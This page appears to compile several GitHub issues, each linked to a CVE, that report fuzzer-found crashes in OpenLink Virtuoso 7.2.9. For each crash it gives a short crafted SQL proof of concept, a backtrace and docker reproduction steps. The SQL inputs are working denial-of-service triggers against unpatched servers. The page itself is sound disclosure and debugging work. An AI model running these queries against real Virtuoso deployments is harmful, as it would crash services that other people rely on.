An issue in the dfe_qexp_list component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 1 comment

Closed

**virtuoso 7.2.9 crashed at dfe\_qexp\_list #1125**

fuboat opened this issue

Apr 12, 2023

· 1 comment

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (
    x VARCHAR,
    y VARCHAR
 );

SELECT IFNULL(MIN(x), \-1), IFNULL(MAX(x), \-1)
FROM (
  SELECT x FROM t1 UNION ALL
  SELECT NULL
) AS temp;

backtrace:

#0 0x737010 (dfe\_qexp\_list+0x40)
#1 0x73711d (dfe\_qexp\_list+0x14d)
#2 0x7474c9 (dfe\_union\_dfe+0xc9)
#3 0x747878 (sqlg\_set\_ts\_order+0x198)
#4 0x747efd (sqlg\_top\_1+0xed)
#5 0x70d4d4 (sqlo\_top\_select+0x164)
#6 0x6b72bf (sql\_stmt\_comp+0x8bf)
#7 0x6ba122 (sql\_compile\_1+0x1a62)
#8 0x7c8cd0 (stmt\_set\_query+0x340)
#9 0x7cabc2 (sf\_sql\_execute+0x922)
#10 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#11 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#12 0xe1f01c (future\_wrapper+0x3fc)
#13 0xe2691e (\_thread\_boot+0x11e)
#14 0x7f460b246609 (start\_thread+0xd9)
#15 0x7f460b016133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

This crash has been fixed by some of the patches we committed recently.

2 participants

CVE-2023-31612: virtuoso 7.2.9 crashed at dfe_qexp_list · Issue #1125 · openlink/virtuoso-opensource

An issue in the mp_box_copy component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(
    x INTEGER PRIMARY KEY,
    k VARCHAR
  );
CREATE VIEW t1 AS SELECT k, k FROM t1;
UPDATE t1 SET k \= k\-1 WHERE k \> 100 AND x \= 128;

backtrace:

#0 0xe086e9 (mp\_box\_copy+0x9)
#1 0xe08dd0 (mp\_box\_copy\_tree+0xc0)
#2 0x815b3a (sqlc\_col\_to\_view\_scope+0x4fa)
#3 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#4 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#5 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#6 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#7 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#8 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#9 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#10 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#11 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#12 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
...
#1045 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1046 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1047 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1048 0x817c90 (sqlc\_update\_view+0xa60)
#1049 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1050 0x817cd1 (sqlc\_update\_view+0xaa1)
#1051 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1052 0x817cd1 (sqlc\_update\_view+0xaa1)
#1053 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1054 0x817cd1 (sqlc\_update\_view+0xaa1)
#1055 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1056 0x817cd1 (sqlc\_update\_view+0xaa1)
...
#3132 0x817cd1 (sqlc\_update\_view+0xaa1)
#3133 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#3134 0x817cd1 (sqlc\_update\_view+0xaa1)
#3135 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#3136 0x6b7212 (sql\_stmt\_comp+0x812)
#3137 0x6ba122 (sql\_compile\_1+0x1a62)
#3138 0x7c8cd0 (stmt\_set\_query+0x340)
#3139 0x7cabc2 (sf\_sql\_execute+0x922)
#3140 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#3141 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#3142 0xe1f01c (future\_wrapper+0x3fc)
#3143 0xe2691e (\_thread\_boot+0x11e)
#3144 0x7f2025e0d609 (start\_thread+0xd9)
#3145 0x7f2025bdd133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31623: virtuoso 7.2.9 crashed at mp_box_copy · Issue #1131 · openlink/virtuoso-opensource

An issue in the dv_compare component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE element (
      name VARCHAR(80),
      test1 VARCHAR(80),
      f1 VARCHAR(80),
      f2 VARCHAR(80),
      code INTEGER,
      t1 VARCHAR(80),
      a VARCHAR(80),
      example VARCHAR(80),
      b VARCHAR(80),
      c VARCHAR(80),
      folders VARCHAR(80)
    );
INSERT INTO element(b,b) VALUES(38,1444);
SELECT (select ( \-count(distinct case case code when b then c\*case when b<=element.b+b then code when (abs(element.c)/abs(case when b\-coalesce((select max(element.c\-element.b) from element where not exists(select 1 from element where 17 in (b,13,(b)) or b in (b,c,element.b))),element.b) not in (b,((c)),element.b) then  \-19 when c between code and 13 then 19 else element.c end))\=13 then c else 13 end else 17 end when 13 then element.c else element.b end\-element.c)) from element) FROM element WHERE coalesce((select max(element.b) from element where element.c<>element.c\-13),element.code)\>=b or b\*coalesce((select max((b)) from element where c not between +coalesce((select max(13) from element where b between  \-(abs(( \-coalesce((select max(case c when element.c then b else  \-element.c end) from element where 11\>b and element.b<element.b),element.c)))/abs(b)) and b),code) and element.b),element.b)\* \-19 not between (17) and element.c and (element.b<=code);

backtrace:

#0 0x60afab (dv\_compare+0x3b)
#1 0xc278fb (cmp\_vec\_any+0x24b)
#2 0xc28caa (cmp\_vec+0x12ba)
#3 0x751b48 (code\_vec\_run\_v+0x1368)
#4 0x7ac72d (qn\_send\_output+0xbd)
#5 0x7ac43e (qn\_input+0x3ce)
#6 0x7ac8a6 (qn\_send\_output+0x236)
#7 0x81e26d (set\_ctr\_vec\_input+0x94d)
#8 0x7ac43e (qn\_input+0x3ce)
#9 0x74f268 (subq\_next+0x258)
#10 0x81cfa2 (ins\_vec\_subq+0x2a2)
#11 0x75119b (code\_vec\_run\_v+0x9bb)
#12 0x7b5a9b (end\_node\_input+0x13b)
#13 0x7ac43e (qn\_input+0x3ce)
#14 0x7acb6f (qn\_ts\_send\_output+0x23f)
#15 0x7b247e (table\_source\_input+0x16ee)
#16 0x7ac43e (qn\_input+0x3ce)
#17 0x7b9c3b (fun\_ref\_node\_input+0x36b)
#18 0x7ac43e (qn\_input+0x3ce)
#19 0x7ac8a6 (qn\_send\_output+0x236)
#20 0x81e26d (set\_ctr\_vec\_input+0x94d)
#21 0x7ac43e (qn\_input+0x3ce)
#22 0x74f268 (subq\_next+0x258)
#23 0x81cfa2 (ins\_vec\_subq+0x2a2)
#24 0x75119b (code\_vec\_run\_v+0x9bb)
#25 0x7b5a9b (end\_node\_input+0x13b)
#26 0x7ac43e (qn\_input+0x3ce)
#27 0x7acb6f (qn\_ts\_send\_output+0x23f)
#28 0x7b247e (table\_source\_input+0x16ee)
#29 0x7ac43e (qn\_input+0x3ce)
#30 0x7b9c3b (fun\_ref\_node\_input+0x36b)
#31 0x7ac43e (qn\_input+0x3ce)
#32 0x7ac8a6 (qn\_send\_output+0x236)
#33 0x81e26d (set\_ctr\_vec\_input+0x94d)
#34 0x7ac43e (qn\_input+0x3ce)
#35 0x74f268 (subq\_next+0x258)
#36 0x81cfa2 (ins\_vec\_subq+0x2a2)
#37 0x75119b (code\_vec\_run\_v+0x9bb)
#38 0x7b5a9b (end\_node\_input+0x13b)
#39 0x7ac43e (qn\_input+0x3ce)
#40 0x7acb6f (qn\_ts\_send\_output+0x23f)
#41 0x7b247e (table\_source\_input+0x16ee)
#42 0x7ac43e (qn\_input+0x3ce)
#43 0x7ac8a6 (qn\_send\_output+0x236)
#44 0x81e26d (set\_ctr\_vec\_input+0x94d)
#45 0x7ac43e (qn\_input+0x3ce)
#46 0x7bdc6e (qr\_exec+0x11ee)
#47 0x7cb446 (sf\_sql\_execute+0x11a6)
#48 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#49 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#50 0xe1f01c (future\_wrapper+0x3fc)
#51 0xe2691e (\_thread\_boot+0x11e)
#52 0x7f731e31d609 (start\_thread+0xd9)
#53 0x7f731e0ed133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31620: virtuoso 7.2.9 crashed at dv_compare · Issue #1128 · openlink/virtuoso-opensource

An issue in the gpf_notice component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**This crash seems can only be reproduced when compiling virtuoso with --with-debug.**  
**When using the docker container, the SQL statement will strangely make the client shell STUCK, but will not crash the server.**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t4 (
  a VARCHAR,
  b VARCHAR
);
SELECT MIN(b), MIN(b) FROM t4;

backtrace:

#0 0xe10319 (gpf\_notice+0x209)
#1 0xdf7866 (print\_object2+0x916)
#2 0x81c0e6 (select\_node\_input\_vec+0x546)
#3 0x7b7a77 (select\_node\_input+0xa7)
#4 0x7ac43e (qn\_input+0x3ce)
#5 0x7ac8a6 (qn\_send\_output+0x236)
#6 0x7ac43e (qn\_input+0x3ce)
#7 0x7ac8a6 (qn\_send\_output+0x236)
#8 0x81e26d (set\_ctr\_vec\_input+0x94d)
#9 0x7ac43e (qn\_input+0x3ce)
#10 0x7bdc6e (qr\_exec+0x11ee)
#11 0x7cb446 (sf\_sql\_execute+0x11a6)
#12 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#13 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#14 0xe1f01c (future\_wrapper+0x3fc)
#15 0xe2691e (\_thread\_boot+0x11e)
#16 0x7f02b43b7609 (start\_thread+0xd9)
#17 0x7f02b4187133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31626: virtuoso 7.2.9 crashed at gpf_notice · Issue #1129 · openlink/virtuoso-opensource

An issue in the sinv_check_exp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE base\_tbl (a int, b int);
CREATE VIEW rw\_view1 AS SELECT \* FROM base\_tbl;
INSERT INTO rw\_view1 VALUES (15);

backtrace:

#0 0x788dc0 (sinv\_check\_exp+0x120)
#1 0x78a03d (sinv\_sqlo\_check\_col\_val+0xad)
#2 0x816d50 (sqlc\_insert\_view+0x330)
#3 0x6b7387 (sql\_stmt\_comp+0x987)
#4 0x6ba122 (sql\_compile\_1+0x1a62)
#5 0x7c8cd0 (stmt\_set\_query+0x340)
#6 0x7cabc2 (sf\_sql\_execute+0x922)
#7 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#8 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#9 0xe1f01c (future\_wrapper+0x3fc)
#10 0xe2691e (\_thread\_boot+0x11e)
#11 0x7fbc8904b609 (start\_thread+0xd9)
#12 0x7fbc88e1b133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31624: virtuoso 7.2.9 crashed at sinv_check_exp · Issue #1134 · openlink/virtuoso-opensource

An issue in the sqlo_query_spec component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at sqlo\_query\_spec #1138**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE mvtest\_pdt1 AS (SELECT 1 AS col1) WITH DATA;

backtrace:

#0 0x70d571 (sqlo\_query\_spec+0x41)
#1 0x7da2d4 (sqlc\_insert+0x13b4)
#2 0x6b7387 (sql\_stmt\_comp+0x987)
#3 0x6ba122 (sql\_compile\_1+0x1a62)
#4 0x68276d (bif\_exec+0x67d)
#5 0x74b044 (ins\_call\_bif+0xc4)
#6 0x758f09 (code\_vec\_run\_1+0xdf9)
#7 0x7ac431 (qn\_input+0x3c1)
#8 0x7c04fa (qr\_subq\_exec+0x94a)
#9 0x74c001 (ins\_call+0xc91)
#10 0x74d9f0 (ins\_call\_vec+0x320)
#11 0x751205 (code\_vec\_run\_v+0xa25)
#12 0x7ac3ff (qn\_input+0x38f)
#13 0x7bdc6e (qr\_exec+0x11ee)
#14 0x7c36fe (qr\_rec\_exec+0x34e)
#15 0x4e4076 (sql\_ddl\_node\_input\_1+0xc96)
#16 0x4e444e (sql\_ddl\_node\_input+0x10e)
#17 0x7b9f1b (ddl\_node\_input\_1+0x19b)
#18 0x7ba5f7 (qn\_without\_ac\_at+0xc7)
#19 0x7ac43e (qn\_input+0x3ce)
#20 0x7bee59 (qr\_dml\_array\_exec+0x839)
#21 0x7cb872 (sf\_sql\_execute+0x15d2)
#22 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#23 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#24 0xe1f01c (future\_wrapper+0x3fc)
#25 0xe2691e (\_thread\_boot+0x11e)
#26 0x7f3405362609 (start\_thread+0xd9)
#27 0x7f3405132133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31630: virtuoso 7.2.9 crashed at sqlo_query_spec · Issue #1138 · openlink/virtuoso-opensource

An issue in the sqlc_make_policy_trig component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at sqlc\_make\_policy\_trig #1135**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

DELETE FROM ucview WHERE CURRENT OF c1;

backtrace:

#0 0x7d8904 (sqlc\_make\_policy\_trig+0x54)
#1 0x7ddf99 (sqlc\_delete\_pos+0x2e9)
#2 0x6b6e53 (sql\_stmt\_comp+0x453)
#3 0x6ba122 (sql\_compile\_1+0x1a62)
#4 0x7c8cd0 (stmt\_set\_query+0x340)
#5 0x7cabc2 (sf\_sql\_execute+0x922)
#6 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#7 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#8 0xe1f01c (future\_wrapper+0x3fc)
#9 0xe2691e (\_thread\_boot+0x11e)
#10 0x7faabf70f609 (start\_thread+0xd9)
#11 0x7faabf4df133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31622: virtuoso 7.2.9 crashed at sqlc_make_policy_trig · Issue #1135 · openlink/virtuoso-opensource

An issue in the strhash component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (
  a varchar(255) DEFAULT NULL
);
SELECT \* FROM t1 WHERE CONTAINS(\*, 'tutorial & (mysql & -VÐƷWİ)');

backtrace:

#0 0xdece40 (strhash+0x20)
#1 0xdec783 (id\_hash\_get+0x33)
#2 0x59c5d1 (tb\_name\_to\_column+0x41)
#3 0x76aed1 (ot\_is\_defd+0x211)
#4 0x76b422 (sco\_is\_defd+0x372)
#5 0x775cec (sqlo\_implied\_columns\_of\_contains+0x3fc)
#6 0x77c3dc (sqlo\_select\_scope+0x75c)
#7 0x76d347 (sqlo\_scope+0x447)
#8 0x70bd81 (sqlo\_top\_2+0x41)
#9 0x70b9d5 (sqlo\_top\_1+0x135)
#10 0x70d4c6 (sqlo\_top\_select+0x156)
#11 0x6b72bf (sql\_stmt\_comp+0x8bf)
#12 0x6ba122 (sql\_compile\_1+0x1a62)
#13 0x7c8cd0 (stmt\_set\_query+0x340)
#14 0x7cabc2 (sf\_sql\_execute+0x922)
#15 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#16 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#17 0xe1f01c (future\_wrapper+0x3fc)
#18 0xe2691e (\_thread\_boot+0x11e)
#19 0x7ff1272a6609 (start\_thread+0xd9)
#20 0x7ff127076133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31627: virtuoso 7.2.9 crashed at strhash · Issue #1140 · openlink/virtuoso-opensource

An issue in the sqlo_union_scope component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

SELECT CASE WHEN EXISTS (
      SELECT 1 FROM t2 WHERE x\=1 INTERSECT SELECT 1 FROM t2 WHERE y\=2
    )
THEN 1 ELSE 0 END;

backtrace:

#0 0x76cd17 (sqlo\_union\_scope+0x67)
#1 0x76cd10 (sqlo\_union\_scope+0x60)
#2 0x76cd10 (sqlo\_union\_scope+0x60)
#3 0x76dc84 (sqlo\_scope+0xd84)
#4 0x76d878 (sqlo\_scope+0x978)
#5 0x76d2b4 (sqlo\_scope+0x3b4)
#6 0x77c27a (sqlo\_select\_scope+0x5fa)
#7 0x76d347 (sqlo\_scope+0x447)
#8 0x70bd81 (sqlo\_top\_2+0x41)
#9 0x70b9d5 (sqlo\_top\_1+0x135)
#10 0x70d4c6 (sqlo\_top\_select+0x156)
#11 0x6b72bf (sql\_stmt\_comp+0x8bf)
#12 0x6ba122 (sql\_compile\_1+0x1a62)
#13 0x7c8cd0 (stmt\_set\_query+0x340)
#14 0x7cabc2 (sf\_sql\_execute+0x922)
#15 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#16 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#17 0xe1f01c (future\_wrapper+0x3fc)
#18 0xe2691e (\_thread\_boot+0x11e)
#19 0x7faf7a35b609 (start\_thread+0xd9)
#20 0x7faf7a12b133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31629: virtuoso 7.2.9 crashed at sqlo_union_scope · Issue #1139 · openlink/virtuoso-opensource

An issue in the sqlo_preds_contradiction component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE VIEW t1(a) AS SELECT 1;
SELECT a, a, a FROM t1 WHERE a IN (1,5) AND a IN (9,8,3025,1000,3969)
       ORDER BY a, a DESC;

backtrace:

#0 0x6f6462 (sqlo\_preds\_contradiction+0x442)
#1 0x6fec43 (sqlo\_place\_table+0xe23)
#2 0x706bab (sqlo\_try+0xdb)
#3 0x70818c (sqlo\_layout\_1+0x94c)
#4 0x6e84fb (sqlo\_layout+0x5fb)
#5 0x70c075 (sqlo\_top\_2+0x335)
#6 0x70b9d5 (sqlo\_top\_1+0x135)
#7 0x70d4c6 (sqlo\_top\_select+0x156)
#8 0x6b72bf (sql\_stmt\_comp+0x8bf)
#9 0x6ba122 (sql\_compile\_1+0x1a62)
#10 0x7c8cd0 (stmt\_set\_query+0x340)
#11 0x7cabc2 (sf\_sql\_execute+0x922)
#12 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#13 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#14 0xe1f01c (future\_wrapper+0x3fc)
#15 0xe2691e (\_thread\_boot+0x11e)
#16 0x7f8d7a6e8609 (start\_thread+0xd9)
#17 0x7f8d7a4b8133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

Tag

#sql